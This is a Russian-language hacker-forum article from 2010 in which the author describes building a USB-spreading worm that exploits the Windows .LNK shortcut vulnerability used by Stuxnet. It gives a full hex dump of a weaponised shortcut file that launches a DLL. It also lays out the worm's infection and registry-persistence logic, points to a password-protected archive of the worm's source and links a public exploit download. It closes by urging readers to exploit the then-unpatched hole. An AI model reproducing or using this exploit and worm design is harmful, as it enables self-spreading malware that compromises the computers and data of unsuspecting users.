Эксплуатируем 0-day уязвимость в .LNK файлах Вступление 10.07.2010 антивирусная компания VirusBlokAda (VBA) сообщила об обнаружении червя, позднее получившего название Stuxnet. Червяк использует сразу несколько крутых фишек, одна из которых: заражение usb-носителей через дыру в обработке .LNK файлов. При просмотре заражённого ярлыка в Проводнике или любом другом файловом мененджере автоматически запускается DLL, на которую этот самый ярлык ссылается. Позднее, 19.07.2010 в публичном доступе появился эксплойт, демонстрирующий использование этой уязвимости. После бессонной ночи, проведённой за изучением этого эксплойта и разбором формата .lnk, я сумел-таки написать собственного червя, распространяющегося аналогичным способом. Вот сейчас вы его и увидите Кодим червя Алгоритм работы зверюшки предельно прост. Вирь постоянно сидит в памяти, и каждую минуту проверяет, не воткнули ли чего в комп. Как только в комп всё-таки что-нибудь засунут (я имею ввиду флешки и тому подобное), происходит заражение съёмного устройства. На флешке создаётся скрытая копия червя и пять волшебных ярлыков, эксплуатирующих нашу дыру. Вот как выглядит HEX-дамп одного из ярлыков: Код: 4C 00 00 00 01 14 02 00 00 00 00 00 C0 00 00 00 00 00 00 46 81 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 01 14 00 1F 50 E0 4F D0 20 EA 3A 69 10 A2 D8 08 00 2B 30 30 9D 14 00 2E 1E 20 20 EC 21 EA 3A 69 10 A2 DD 08 00 2B 30 30 9D 0C 01 00 00 00 00 00 00 00 00 00 00 00 6A 00 00 00 00 00 00 20 00 3A 00 43 00 3A 00 5C 00 6E 00 74 00 72 00 2E 00 73 00 76 00 63 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4D 00 69 00 73 00 65 00 73 00 20 00 E0 00 20 00 6A 00 6F 00 75 00 72 00 20 00 61 00 75 00 74 00 6F 00 6D 00 61 00 74 00 69 00 71 00 75 00 65 00 73 00 00 00 43 00 6F 00 6E 00 66 00 69 00 67 00 75 00 72 00 65 00 72 00 20 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 20 00 70 00 6F 00 75 00 72 00 20 00 64 00 69 00 73 00 74 00 72 00 69 00 62 00 75 00 65 00 72 00 20 00 61 00 75 00 74 00 6F 00 6D 00 61 00 74 00 69 00 71 00 75 00 65 00 6D 00 65 00 6E 00 74 00 20 00 6C 00 65 00 73 00 20 00 6D 00 69 00 73 00 65 00 73 00 20 00 E0 00 20 00 00 00 00 00 00 00 00 00 Последовательность байт Код: 43 00 3A 00 5C 00 6E 00 74 00 72 00 2E 00 73 00 76 00 63 представляет собой путь к запускаемой DLL: Код: C : \ n t r . s v c Червь, используя шаблон, содаёт на флешке 5 ярлыков, в которых отличаются лишь буквы диска (C, D, E, F, G). Это необходимо, так как при открытии заражённой флешки на другом компе нельзя заранее знать, какая буква будет соответствовать нашему носителю. При старте виря с флешки на жёстком диске создаётся копия нашей DLL и файл RECYCLER.lnk, который к тому же записывается в реестр, для запуска после перезагрузки компа. На всякий случай Хотя, вообще-то, можно реализовать принципиально новый способ автозагрузки: просто создать заражённый ярлык в Главном меню, или на Рабочем столе. Ни один эвристик не увидит в этом ничего подозрительного. Полный исходник червя Пароль на архив: 0-day-worm Червь тестировался на Windows XP SP3 и на Windows 7. На хрюше работает идеально, на семёрке - немного глючит, но в целом вполне удовлетворительно Описание уязвимости: http://www.microsoft.com/technet/security/advisory/2286198.mspx http://www.securitylab.ru/vulnerability/395902.php Эксплойт, который я брал за основу: http://download.securitylab.ru/_download/exploits/2010/07/41732.rar Заключение Как видите, использовать данную уязвимость и создать червя, распространяющегося подобно Stuxnet'у, совсем не сложно. Учтите, что эта дыра затрагивает все версии винды, начиная от XP и заканчивая семёркой, а патч от Microsoft пока что не вышел, и, возможно, не выйдет раньше 10 августа. Так что тут есть где разгуляться! (c) ./joker source: xakepy.cc